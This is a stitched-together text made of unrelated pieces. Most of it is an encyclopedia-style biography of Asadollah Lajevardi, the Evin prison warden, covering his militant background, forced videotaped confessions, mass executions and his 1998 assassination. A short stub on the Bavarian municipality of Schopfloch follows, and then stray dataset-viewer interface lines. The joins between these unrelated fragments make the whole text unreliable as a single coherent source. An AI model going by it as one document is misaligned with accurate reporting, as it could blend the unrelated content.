Lajevardi was a follower of Ayatollah Kashani and Fadayian Islam. He was arrested and convicted on three occasions for militant activities. In 1964, he served 18 months for taking part in the assassination of the late Iranian prime minister Mansour. Later in 1970, he served three years in Evin prison for attempting to blow up the offices of El Al (the Israeli airline) in Tehran. Finally, he was once again arrested and sentenced to 18 years in prison, for being a member of the opposition militant group People's Mujahedin of Iran. He was among those who visited Ayatollah Khomeini in Paris when the latter was in exile.
Warden
In 1979, with the onset of the Iranian Revolution, Lajevardi was appointed as the chief prosecutor of Tehran on Mohammad Beheshti's recommendation. Lajevardi was given the extra post of warden in June 1981 after the first post-revolutionary warden of Evin, Mohammad Kachouyi, was assassinated. According to Ervand Abrahamian, Lajevardi "liked to be addressed as Hajj Aqa, and boasted he was so proud of Evin that he had brought his family to live there." He was temporarily removed from his post in 1984, but continued to live at Evin with his family to avoid assassination.
Ladjevardi maintained that the Islamic Republic had converted prisons into 'rehabilitation centers' and 'ideological schools', where inmates studied Islam, learned the errors of their ways, and did penance before returning to society. As the chief warden at Evin, the main political prison in Tehran, Ladjevardi "boasted that more than 95 percent of his 'guests' eventually oblige him with his sought-after videotaped 'interview'"—i.e., a confession of their political errors and praise of the Islamic Republic and the prison staff.
Lajevardi was also known as "the butcher of Evin Prison" with dreadful, religiously fanatic, and thuggish narcissist mannerisms. The number of executions under his supervision is estimated to be roughly around 2500 according to one account. In her memoir, Iran Awakening, Nobel Peace Prize Laureate Shirin Ebadi states that an estimated 4000-5000 members and supporters of the People's Mujahedin of Iran (MKO) were executed during a three-month period in 1988 immediately following the failed "Mersad" rebellion, which was launched upon the end of the Iran–Iraq War by MKO fighters based in Iraq. According to Ali Akbar Nategh-Nouri, Lajevardi's close relations with some of the prisoned members of Furqan group made them "repent".
Later career
Lajevardi was appointed minister of commerce to the cabinet of then prime minister Mohammad Ali Rajai on 1 September 1980.
Assassination
On 23 August 1998, on the tenth anniversary of the mass executions, Ladjevardi was assassinated by members of the People's Mujahedin of Iran. Using an Uzi submachine gun the activists opened fire on Lajevardi and his bodyguard (who was also killed) at Lajevardi's tailor-shop in Tehran Bazaar.
See also
References
External links
A Rare Picture Showing Teenage Prisoners in the Islamic Republic "fed" by Asadollah Lajevardi (with foto)
1935 births
1998 deaths
Assassinated Iranian politicians
Iranian prosecutors
Burials at Behesht-e Zahra
Islamic Coalition Party politicians
People assassinated by the People's Mojahedin Organization of Iran
Central Council of the Islamic Republican Party members
Iranian wardens
1990s assassinated politicians
Politicide perpetrators
|
Schopfloch is a municipality in the district of Ansbach in Bavaria in Germany. It is the home of Lachoudisch, a rare Hebrew-infused German dialect.
References
Ansbach (district)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.